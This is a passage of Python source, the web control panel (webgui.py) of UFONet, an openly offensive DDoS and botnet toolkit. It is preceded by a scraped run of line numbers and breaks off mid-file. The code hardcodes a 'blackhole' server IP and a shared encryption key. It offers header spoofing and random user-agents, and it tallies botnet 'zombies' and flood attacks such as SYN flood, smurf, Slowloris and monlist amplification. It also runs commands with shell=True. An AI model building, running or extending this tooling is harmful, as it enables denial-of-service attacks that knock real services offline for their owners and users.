webgui.py 307 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710171117121713171417151716171717181719172017211722172317241725172617271728172917301731173217331734173517361737173817391740174117421743174417451746174717481749175017511752175317541755175617571758175917601761176217631764176517661767176817691770177117721773177417751776177717781779178017811782178317841785178617871788178917901791179217931794179517961797179817991800180118021803180418051806180718081809181018111812181318141815181618171818181918201821182218231824182518261827182818291830183118321833183418351836183718381839184018411842184318441845184618471848184918501851185218531854185518561857185818591860186118621863186418651866186718681869187018711872187318741875187618771878187918801881188218831884188518861887188818891890189118921893189418951896189718981899190019011902190319041905190619071908190919101911191219131914191519161917191819191920192119221923192419251926192719281929193019311932193319341935193619371938193919401941194219431944194519461947194819491950195119521953195419551956195719581959196019611962196319641965196619671968196919701971197219731974197519761977197819791980198119821983198419851986198719881989199019911992199319941995199619971998199920002001200220032004200520062007200820092010201120122013201420152016201720182019202020212022202320242025202620272028202920302031203220332034203520362037203820392040204120422043204420452046204720482049205020512052205320542055205620572058205920602061206220632064206520662067206820692070207120722073207420752076207720782079208020812082208320842085208620872088208920902091209220932094209520962097209820992100210121022103210421052106210721082109211021112112211321142115211621172118211921202121212221232124212521262127212821292130213121322133213421352136213721382139214021412142214321442145214621472148214921502151215221532154215521562157215821592160216121622163216421652166216721682169217021712172217321742175217621772178217921802181218221832184218521862187218821892190219121922193219421952196219721982199220022012202220322042205220622072208220922102211221222132214221522162217221822192220222122222223222422252226222722282229223022312232223322342235223622372238223922402241224222432244224522462247224822492250225122522253225422552256225722582259226022612262226322642265226622672268226922702271227222732274227522762277227822792280228122822283228422852286228722882289229022912292229322942295229622972298229923002301230223032304230523062307230823092310231123122313231423152316231723182319232023212322232323242325232623272328232923302331233223332334233523362337233823392340234123422343234423452346234723482349235023512352235323542355235623572358235923602361236223632364236523662367236823692370237123722373237423752376237723782379238023812382238323842385238623872388238923902391239223932394239523962397239823992400240124022403240424052406240724082409241024112412241324142415241624172418241924202421242224232424242524262427242824292430243124322433243424352436243724382439244024412442244324442445244624472448244924502451245224532454245524562457245824592460246124622463246424652466246724682469247024712472247324742475247624772478247924802481248224832484248524862487248824892490249124922493249424952496249724982499250025012502250325042505250625072508250925102511251225132514251525162517251825192520252125222523252425252526252725282529253025312532253325342535253625372538253925402541254225432544254525462547254825492550255125522553255425552556255725582559256025612562256325642565256625672568256925702571257225732574257525762577257825792580258125822583258425852586258725882589259025912592259325942595259625972598259926002601260226032604260526062607260826092610261126122613261426152616261726182619262026212622262326242625262626272628262926302631263226332634263526362637263826392640264126422643264426452646264726482649265026512652265326542655265626572658265926602661266226632664266526662667266826692670267126722673267426752676267726782679268026812682268326842685268626872688268926902691269226932694269526962697269826992700270127022703270427052706270727082709271027112712271327142715271627172718271927202721272227232724272527262727272827292730273127322733273427352736273727382739274027412742274327442745274627472748274927502751275227532754275527562757275827592760276127622763276427652766276727682769277027712772277327742775277627772778277927802781278227832784278527862787278827892790279127922793279427952796279727982799280028012802280328042805280628072808280928102811281228132814281528162817281828192820282128222823282428252826282728282829283028312832283328342835283628372838283928402841284228432844284528462847284828492850285128522853285428552856285728582859286028612862286328642865286628672868286928702871287228732874287528762877287828792880288128822883288428852886288728882889289028912892289328942895289628972898289929002901290229032904290529062907290829092910291129122913291429152916291729182919292029212922292329242925292629272928292929302931293229332934293529362937293829392940294129422943294429452946294729482949295029512952295329542955295629572958295929602961296229632964296529662967296829692970297129722973297429752976297729782979298029812982298329842985298629872988298929902991299229932994299529962997299829993000300130023003300430053006300730083009301030113012301330143015301630173018301930203021302230233024302530263027302830293030303130323033303430353036303730383039304030413042304330443045304630473048304930503051305230533054305530563057305830593060306130623063306430653066306730683069307030713072307330743075307630773078307930803081308230833084308530863087308830893090309130923093309430953096309730983099310031013102310331043105310631073108310931103111311231133114311531163117311831193120312131223123312431253126312731283129313031313132313331343135313631373138313931403141314231433144314531463147314831493150315131523153315431553156315731583159316031613162316331643165316631673168316931703171317231733174317531763177317831793180318131823183318431853186318731883189319031913192319331943195319631973198319932003201320232033204320532063207320832093210321132123213321432153216321732183219322032213222322332243225322632273228322932303231323232333234323532363237323832393240324132423243324432453246324732483249325032513252325332543255325632573258325932603261326232633264326532663267326832693270327132723273327432753276327732783279328032813282328332843285328632873288328932903291329232933294329532963297329832993300330133023303330433053306330733083309331033113312331333143315331633173318331933203321332233233324332533263327332833293330333133323333333433353336333733383339334033413342334333443345334633473348334933503351335233533354335533563357335833593360336133623363336433653366336733683369337033713372337333743375337633773378337933803381338233833384338533863387338833893390339133923393339433953396339733983399340034013402340334043405340634073408340934103411341234133414341534163417341834193420342134223423342434253426342734283429343034313432343334343435343634373438343934403441344234433444344534463447344834493450345134523453345434553456345734583459346034613462346334643465346634673468346934703471347234733474347534763477347834793480348134823483348434853486348734883489349034913492349334943495349634973498349935003501350235033504350535063507350835093510351135123513351435153516351735183519352035213522352335243525352635273528352935303531353235333534353535363537353835393540354135423543354435453546354735483549355035513552355335543555355635573558355935603561356235633564356535663567356835693570357135723573357435753576357735783579358035813582358335843585358635873588358935903591359235933594359535963597359835993600360136023603360436053606360736083609361036113612361336143615361636173618361936203621362236233624362536263627362836293630363136323633363436353636363736383639364036413642364336443645364636473648364936503651365236533654365536563657365836593660366136623663366436653666366736683669367036713672367336743675367636773678367936803681368236833684368536863687368836893690369136923693369436953696369736983699370037013702370337043705370637073708370937103711371237133714371537163717371837193720372137223723372437253726372737283729373037313732373337343735373637373738373937403741374237433744374537463747374837493750375137523753375437553756375737583759376037613762376337643765376637673768376937703771377237733774377537763777377837793780378137823783378437853786378737883789379037913792379337943795379637973798379938003801380238033804380538063807380838093810381138123813381438153816381738183819382038213822382338243825382638273828382938303831383238333834383538363837383838393840384138423843384438453846384738483849385038513852385338543855385638573858385938603861386238633864386538663867386838693870387138723873387438753876387738783879388038813882388338843885388638873888388938903891389238933894389538963897389838993900390139023903390439053906390739083909391039113912391339143915391639173918391939203921392239233924392539263927392839293930393139323933393439353936393739383939394039413942394339443945394639473948394939503951395239533954395539563957395839593960396139623963396439653966396739683969397039713972397339743975397639773978397939803981398239833984398539863987398839893990399139923993399439953996399739983999400040014002400340044005400640074008400940104011401240134014401540164017401840194020402140224023402440254026402740284029403040314032403340344035403640374038403940404041404240434044404540464047404840494050405140524053405440554056405740584059406040614062406340644065406640674068406940704071407240734074407540764077407840794080408140824083408440854086408740884089409040914092409340944095409640974098409941004101410241034104410541064107410841094110411141124113411441154116411741184119412041214122412341244125412641274128412941304131413241334134413541364137413841394140414141424143414441454146414741484149415041514152415341544155415641574158415941604161416241634164416541664167416841694170417141724173417441754176417741784179418041814182418341844185418641874188418941904191419241934194419541964197419841994200420142024203420442054206420742084209421042114212421342144215421642174218421942204221422242234224422542264227422842294230423142324233423442354236423742384239424042414242424342444245424642474248424942504251425242534254425542564257425842594260426142624263426442654266426742684269427042714272427342744275427642774278427942804281428242834284428542864287428842894290429142924293429442954296429742984299430043014302430343044305430643074308430943104311431243134314431543164317431843194320432143224323432443254326432743284329433043314332433343344335433643374338433943404341434243434344434543464347434843494350435143524353435443554356435743584359436043614362436343644365436643674368436943704371437243734374437543764377437843794380438143824383438443854386438743884389439043914392439343944395439643974398439944004401440244034404440544064407440844094410441144124413441444154416441744184419442044214422442344244425442644274428442944304431443244334434443544364437443844394440444144424443444444454446444744484449445044514452445344544455445644574458445944604461446244634464446544664467446844694470447144724473447444754476447744784479448044814482448344844485448644874488448944904491449244934494449544964497449844994500450145024503450445054506450745084509451045114512451345144515451645174518451945204521452245234524452545264527452845294530453145324533453445354536453745384539454045414542454345444545454645474548454945504551455245534554455545564557455845594560456145624563456445654566456745684569457045714572457345744575457645774578457945804581458245834584458545864587458845894590459145924593459445954596459745984599460046014602460346044605460646074608460946104611461246134614461546164617461846194620462146224623462446254626462746284629463046314632463346344635463646374638463946404641464246434644464546464647464846494650465146524653465446554656465746584659466046614662466346644665466646674668466946704671467246734674467546764677467846794680468146824683468446854686468746884689469046914692469346944695469646974698469947004701470247034704470547064707470847094710471147124713471447154716471747184719472047214722472347244725472647274728472947304731473247334734473547364737473847394740474147424743474447454746474747484749475047514752475347544755475647574758475947604761476247634764476547664767476847694770477147724773477447754776477747784779478047814782478347844785478647874788478947904791479247934794479547964797479847994800480148024803480448054806480748084809481048114812481348144815481648174818481948204821482248234824482548264827482848294830483148324833483448354836483748384839484048414842484348444845484648474848484948504851485248534854485548564857485848594860486148624863486448654866486748684869487048714872487348744875487648774878487948804881488248834884488548864887488848894890489148924893489448954896489748984899490049014902490349044905490649074908490949104911491249134914491549164917491849194920492149224923492449254926492749284929493049314932493349344935493649374938493949404941494249434944494549464947494849494950495149524953495449554956495749584959496049614962496349644965496649674968496949704971497249734974497549764977497849794980498149824983498449854986498749884989499049914992499349944995499649974998499950005001500250035004500550065007500850095010501150125013501450155016501750185019502050215022502350245025502650275028502950305031503250335034503550365037503850395040504150425043504450455046504750485049505050515052505350545055505650575058505950605061506250635064506550665067506850695070507150725073507450755076507750785079508050815082508350845085508650875088508950905091509250935094509550965097509850995100510151025103510451055106510751085109511051115112511351145115511651175118511951205121512251235124512551265127512851295130513151325133513451355136513751385139514051415142514351445145514651475148514951505151515251535154515551565157515851595160516151625163516451655166516751685169517051715172517351745175517651775178
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import socket, threading, re, os, time, random, base64
  11. import webbrowser, subprocess, json, sys
  12. import urllib.request, urllib.error, urllib.parse
  13. from core.tools.crypter import Cipher
  14. from time import gmtime, strftime, strptime
  15. from Crypto.Cipher import AES
  16. from hashlib import sha1, sha256
  17. from decimal import Decimal
  18. from random import shuffle
  19. from urllib.parse import urlparse as urlparse
  20. from .options import UFONetOptions
  21. from .main import UFONet
  22. from core.tools.abductor import Abductor
  23. #######SET-YOUR-BLACKHOLE-CONF-HERE###############################D
  24. default_blackhole = '176.28.23.46' # default blackhole #
  25. crypto_key = "U-NATi0n!" # default enc/dec (+moderator board) key #
  26. ###################################################################
  27. blackhole_sep = "|" # blackhole stream separator
  28. board_msg_sep = "#!#" # board stream separator
  29. grid_msg_sep = "#?#" # grid stream seperator
  30. wargames_msg_sep = "#-#" # wargames stream seperator
  31. host = "0.0.0.0"
  32. port = 9999
  33. class ClientThread(threading.Thread):
  34. def __init__(self, ip, port, socket):
  35. threading.Thread.__init__(self)
  36. self.ip = ip
  37. self.port = port
  38. self.socket = socket
  39. self.pages = Pages()
  40. def run(self):
  41. req = self.socket.recv(2048)
  42. res = self.pages.get(req)
  43. if res is None:
  44. self.socket.close()
  45. return
  46. out = "HTTP/1.0 %s\r\n" % res["code"]
  47. out += "Content-Type: %s\r\n\r\n" % res["ctype"]
  48. out += "%s" % res["html"]
  49. try:
  50. self.socket.send(out.encode('utf-8'))
  51. except:
  52. self.socket.send(out)
  53. self.socket.close()
  54. if "run" in res and len(res["run"]):
  55. subprocess.Popen(res["run"], shell=True)
  56. class Pages():
  57. def file_len(self, fn):
  58. with open(fn) as f:
  59. for i, l in enumerate(f):
  60. pass
  61. return i + 1
  62. def html_army_map(self,target=None):
  63. try:
  64. target_js="total_zombies = "+str( int(self.file_len(self.zombies_file))+int(self.file_len(self.aliens_file))+int(self.file_len(self.droids_file))+int(self.file_len(self.ucavs_file))+int(self.file_len(self.rpcs_file)) )+"\ninitMap()\n\n"
  65. except:
  66. target_js="not any zombie available\n\n"
  67. if target is not None:
  68. target_js += "$('#ufomsg').load('/js/ajax.js?doll="+target+"')\n"
  69. return self.pages["/header"] + """
  70. <link rel="stylesheet" href="/js/style.css" />
  71. <link rel="stylesheet" href="/js/ajaxmap.css" />
  72. <link rel="stylesheet" href="/js/leaflet/leaflet.css" />
  73. <link rel="stylesheet" href="/js/cluster/MarkerCluster.Default.css"/>
  74. <link rel="stylesheet" href="/js/cluster/MarkerCluster.css"/>
  75. <script src="/js/leaflet/leaflet.js"></script>
  76. <script src="/js/cluster/leaflet.markercluster-src.js"></script>
  77. <script src="/js/jquery-1.10.2.min.js"></script>
  78. <script src="/js/rlayer-src.js"></script>
  79. <script src="/js/raphael.js"></script>
  80. <script src="/js/ufo.js"></script>
  81. <script src="/js/ajax.js"></script>
  82. </head><body bgcolor="black" text="black">
  83. <div id="wrapper">
  84. <div id="map" style="width: 100%; height: 100%"></div>
  85. </div>
  86. <script type="text/javascript">
  87. window.onload = function(){
  88. """+target_js+"""
  89. }
  90. </script>
  91. <center>
  92. """ + self.pages["/footer"]
  93. def html_request_submit(self):
  94. return self.pages["/header"]+"""<script>
  95. window.setTimeout(window.close,1234)
  96. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  97. <center>settings updated"""+self.pages["/footer"]
  98. def html_requests(self):
  99. # read requests configuration file (json)
  100. try:
  101. with open(self.mothership_webcfg_file) as data_file:
  102. data = json.load(data_file)
  103. except:
  104. if os.path.exists(self.mothership_webcfg_file) == True:
  105. print('[Error] [AI] Cannot open: "core/json/webcfg.json" -> [Aborting!]\n')
  106. return
  107. else: # generate default requests configuration file
  108. print('[Info] [AI] Cannot found: "core/json/webcfg.json" -> [Generating!]')
  109. with open(self.mothership_webcfg_file, "w") as f:
  110. json.dump({"rproxy": "NONE", "ruseragent": "RANDOM", "rreferer": "RANDOM", "rhost": "NONE", "rxforw": "on", "rxclient": "on", "rtimeout": "10", "rretries": "1", "rdelay": "0", "threads": "5", "rssl": "off"}, f, indent=4)
  111. # set values of requests configuration from json file to html form
  112. with open(self.mothership_webcfg_file) as data_file:
  113. data = json.load(data_file)
  114. self.agents = [] # generating available user-agents
  115. f = open(self.agents_file)
  116. agents = f.readlines()
  117. f.close()
  118. for agent in agents:
  119. self.agents.append(agent)
  120. self.user_agent = random.choice(self.agents).strip()
  121. self.rproxy = data["rproxy"]
  122. if self.rproxy == "NONE":
  123. self.rproxy = ""
  124. self.ruseragent = data["ruseragent"]
  125. if self.ruseragent == "RANDOM":
  126. self.ruseragent = self.user_agent # random user-agent
  127. self.rreferer = data["rreferer"]
  128. if self.rreferer == "RANDOM":
  129. self.rreferer = self.referer # random referer
  130. self.rhost = data["rhost"]
  131. if self.rhost == "NONE":
  132. self.rhost = ""
  133. self.rxforw = data["rxforw"]
  134. if self.rxforw == "on":
  135. self.rxforw_check = 'checked'
  136. else:
  137. self.rxforw_check = ''
  138. self.rxclient = data["rxclient"]
  139. if self.rxclient == "on":
  140. self.rxclient_check = 'checked'
  141. else:
  142. self.rxclient_check = ''
  143. self.rtimeout = data["rtimeout"]
  144. self.rretries = data["rretries"]
  145. self.rdelay = data["rdelay"]
  146. self.threads = data["threads"]
  147. self.rssl = data["rssl"]
  148. if self.rssl == "on":
  149. self.rssl_check = 'checked'
  150. else:
  151. self.rssl_check = ''
  152. return self.pages["/header"] + """
  153. <script language="javascript">
  154. function Requests() {
  155. var win_requests = window.open("requests","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  156. }
  157. </script>
  158. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  159. <u>Configure requests:</u>
  160. <table cellpadding="2" cellspacing="2">
  161. <form method='GET'>
  162. <tr>
  163. <td> Use proxy server:</td>
  164. <td> <input type="text" name="rproxy" value='"""+str(self.rproxy)+"""'></td>
  165. </tr>
  166. <tr>
  167. <td> Use another HTTP User-Agent header:</td>
  168. <td> <input type="text" name="ruseragent" value='"""+str(self.ruseragent)+"""'></td>
  169. </tr>
  170. <tr>
  171. <td> Use another HTTP Referer header:</td>
  172. <td> <input type="text" name="rreferer" value='"""+str(self.rreferer)+"""'></td>
  173. </tr>
  174. <tr>
  175. <td> Use another HTTP Host header:</td>
  176. <td> <input type="text" name="rhost" value='"""+str(self.rhost)+"""'></td>
  177. </tr>
  178. <tr>
  179. <td> Set your HTTP X-Forwarded-For with random IP values:</td>
  180. <td> <input type="checkbox" name='rxforw' """+self.rxforw_check+"""></td>
  181. </tr>
  182. <tr>
  183. <td> Set your HTTP X-Client-IP with random IP values:</td>
  184. <td> <input type="checkbox" name='rxclient' """+self.rxclient_check+"""></td>
  185. </tr>
  186. <tr>
  187. <td> Select your timeout:</td>
  188. <td> <input type="text" name="rtimeout" value='"""+str(self.rtimeout)+"""'></td>
  189. </tr>
  190. <tr>
  191. <td> Retries when the connection timeouts:</td>
  192. <td> <input type="text" name="rretries" value='"""+str(self.rretries)+"""'></td>
  193. </tr>
  194. <tr>
  195. <td> Delay in seconds between each HTTP request:</td>
  196. <td> <input type="text" name="rdelay" value='"""+str(self.rdelay)+"""'></td>
  197. </tr>
  198. <tr>
  199. <td> Number of threads:</td>
  200. <td> <input type="text" name="threads" value='"""+str(self.threads)+"""'></td>
  201. </tr>
  202. <tr>
  203. <td> Force usage of SSL/HTTPS requests:</td>
  204. <td> <input type="checkbox" name='rssl' """+self.rssl_check+"""></td>
  205. </tr>
  206. </table>
  207. <hr>
  208. <input type="hidden" name="update" value="1">
  209. <input type="submit" value="Set!" onclick="Requests()"></pre>
  210. </form>
  211. """ + self.pages["/footer"]
  212. def html_board_profile_submit(self):
  213. return self.pages["/header"]+"""<script>
  214. window.setTimeout(window.close,1234)
  215. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  216. <center>Board profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  217. def html_grid_profile_submit(self):
  218. return self.pages["/header"]+"""<script>
  219. window.setTimeout(window.close,1234)
  220. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  221. <center>Grid profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  222. def profile_crew(self, icon):
  223. files = os.listdir("core/images/crew/")
  224. if icon == "NONE":
  225. icon = "link1"
  226. html_stream = ""
  227. html_stream += "<table cellspacing='2' cellpadding='5'><form method='GET'><tr>"
  228. for f in files:
  229. id = str(f.replace(".txt", ""))
  230. value = str(f.replace(".txt", ""))
  231. if icon == value:
  232. checked = " CHECKED"
  233. else:
  234. checked = ""
  235. crew_img = open("core/images/crew/"+value+".txt").read()
  236. html_stream += "<td><input type='radio' name='profile_icon' id='"+id+"' value='"+value+"'"+ checked+"><img src='data:image/png;base64,"+crew_img+"'></td>"
  237. html_stream += "</tr></table>"
  238. return html_stream
  239. def html_board_profile(self):
  240. try:
  241. with open(self.mothership_boardcfg_file) as data_file:
  242. data = json.load(data_file)
  243. except:
  244. if os.path.exists(self.mothership_boardcfg_file) == True:
  245. print('[Error] [AI] Cannot open: "core/json/boardcfg.json" -> [Aborting!]\n')
  246. return
  247. else:
  248. print('[Info] [AI] Cannot found: "core/json/boardcfg.json" -> [Generating!]')
  249. with open(self.mothership_boardcfg_file, "w") as f:
  250. json.dump({"profile_token": "NONE", "profile_icon": "NONE", "profile_nick": "Anonymous"}, f, indent=4)
  251. f.close()
  252. with open(self.mothership_boardcfg_file) as data_file:
  253. data = json.load(data_file)
  254. self.profile_token = str(random.getrandbits(128)) # generating random token hash
  255. self.profile_icon = data["profile_icon"]
  256. self.profile_nick = data["profile_nick"]
  257. self.profile_nick.encode('utf-8')
  258. return self.pages["/header"] + """
  259. <script language="javascript">
  260. function BoardProfile() {
  261. var win_board = window.open("board_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  262. }
  263. </script>
  264. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  265. <u>Configure profile:</u>
  266. <table cellpadding="2" cellspacing="2">
  267. <form method='GET'>
  268. <tr>
  269. <td> <u>OPERATOR/LINK:</u></td>
  270. <td> """+self.profile_crew(self.profile_icon)+"""</td>
  271. </tr>
  272. <tr>
  273. <td> <u>NICKNAME:</u></td>
  274. <td> <input type="text" name="profile_nick" pattern=".{3,12}" required title="3 to 12 characters" value='"""+self.profile_nick+"""'></td>
  275. </tr>
  276. </table>
  277. <hr>
  278. <input type="hidden" name="update" value="1">
  279. <input type="submit" value="Set!" onclick="BoardProfile()"></pre>
  280. </form>
  281. """ + self.pages["/footer"]
  282. def html_grid_profile(self):
  283. try:
  284. with open(self.mothership_gridcfg_file) as data_file:
  285. data = json.load(data_file)
  286. except:
  287. if os.path.exists(self.mothership_gridcfg_file) == True:
  288. print('[Error] [AI] Cannot open: "core/json/gridcfg.json" -> [Aborting!]\n')
  289. return
  290. else:
  291. print('[Info] [AI] Cannot found: "core/json/gridcfg.json" -> [Generating!]')
  292. with open(self.mothership_gridcfg_file, "w") as f:
  293. json.dump({"grid_token": "NONE", "grid_contact": "UNKNOWN!", "grid_nick": "Anonymous"}, f, indent=4)
  294. f.close()
  295. with open(self.mothership_gridcfg_file) as data_file:
  296. data = json.load(data_file)
  297. self.grid_token = str(random.getrandbits(128)) # generating random token hash
  298. self.grid_contact = data["grid_contact"]
  299. self.grid_contact.encode('utf-8')
  300. self.grid_nick = data["grid_nick"]
  301. self.grid_nick.encode('utf-8')
  302. return self.pages["/header"] + """
  303. <script language="javascript">
  304. function GridProfile() {
  305. var win_board = window.open("grid_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  306. }
  307. </script>
  308. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  309. <u>Configure grid profile:</u><br>
  310. <table cellpadding="2" cellspacing="2">
  311. <form method='GET'>
  312. <tr>
  313. <td> <u>NICKNAME:</u></td>
  314. <td> <input type="text" name="grid_nick" pattern=".{3,12}" required title="3 to 12 characters" value='"""+self.grid_nick+"""'></td>
  315. </tr>
  316. <tr>
  317. <td> <u>EMAIL/URL (CONTACT):</u></td>
  318. <td> <input type="text" name="grid_contact" pattern=".{8,120}" required title="8 to 120 characters" value='"""+self.grid_contact+"""'></td>
  319. </tr>
  320. </table>
  321. <hr>
  322. <input type="hidden" name="update" value="1">
  323. <input type="submit" value="Set!" onclick="GridProfile()"></pre>
  324. </form>
  325. """ + self.pages["/footer"]
  326. def html_board_remove(self):
  327. try:
  328. with open(self.mothership_boardcfg_file, "w") as f:
  329. json.dump({"profile_token": "NONE", "profile_icon": "NONE", "profile_nick": "Anonymous"}, f, indent=4)
  330. except:
  331. return
  332. return self.pages["/header"]+"""<script>
  333. window.setTimeout(window.close,1234)
  334. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  335. <center>Board profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  336. def html_grid_remove(self):
  337. try:
  338. with open(self.mothership_gridcfg_file, "w") as f:
  339. json.dump({"grid_token": "NONE", "grid_contact": "UNKNOWN!", "grid_nick": "Anonymous"}, f, indent=4)
  340. except:
  341. return
  342. return self.pages["/header"]+"""<script>
  343. window.setTimeout(window.close,1234)
  344. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  345. <center>Grid profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  346. def html_stats(self):
  347. total_extra_attacks = int(self.aloic) + int(self.aloris) + int(self.aufosyn) + int(self.aspray) + int(self.asmurf) + int(self.axmas) + int(self.anuke) + int(self.atachyon) + int(self.amonlist)
  348. if self.ranking == "Rookie": # Rookie
  349. your_ranking = "<font color='white'>Rookie [*]</font>"
  350. elif self.ranking == "Mercenary": # Mercenary
  351. your_ranking = "<font color='cyan'>Mercenary [**]</font>"
  352. elif self.ranking == "Bandit": # Bandit
  353. your_ranking = "<font color='blueviolet'>Bandit [***]</font>"
  354. elif self.ranking == "UFOmmander!": # UFOmmander!
  355. your_ranking = "<font color='blue'>UFOmmander! [****]</font>"
  356. elif self.ranking == "UFOl33t!": # UFOl33t!
  357. your_ranking = "<font color='red'>UFOl33t! [&#x25BC;]</font>"
  358. else:
  359. your_ranking = "<font color='yellow' size='4'>[-]</font> ( no0b! )" # no0b hacking attempt! ;-)
  360. return self.pages["/header"] + """<script language="javascript">
  361. function Ranking() {
  362. var win_grid = window.open("ranking","_parent","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  363. }
  364. function Grid() {
  365. var win_grid = window.open("grid","_parent","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  366. }
  367. </script></head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  368. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  369. <center>
  370. <table cellpadding="5" cellspacing="5"><tr>
  371. <td><img src='data:image/png;base64,"""+self.mothership_img+"""'></td>
  372. <td>STATS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button></td>
  373. </tr></table>
  374. <table border="0" cellpadding="5" cellspacing="10"><tr><td>
  375. <table border="1" cellpadding="5" cellspacing="10"><tr>
  376. <td><b><u>General:</u></b></td></tr>
  377. <tr>
  378. <td>RANKING:</td><td align='right'>""" + str(your_ranking) + """</td></tr>
  379. <tr><td>Flying (times):</td><td align='right'><font color='red'>""" + str(self.aflying) + """</font></td></tr>
  380. </table>
  381. <br>
  382. <table border="1" cellpadding="5" cellspacing="10"><tr>
  383. <td><b><u>Missions:</u></b></td></tr>
  384. <tr>
  385. <td>Created (launched):</td><td align='right'><font color='red'>""" + str(self.amissions) + """</font></td></tr>
  386. <tr>
  387. <td>Attacks (completed):</td><td align='right'><font color='blue'>""" + str(self.acompleted) + """</font></td></tr>
  388. <tr>
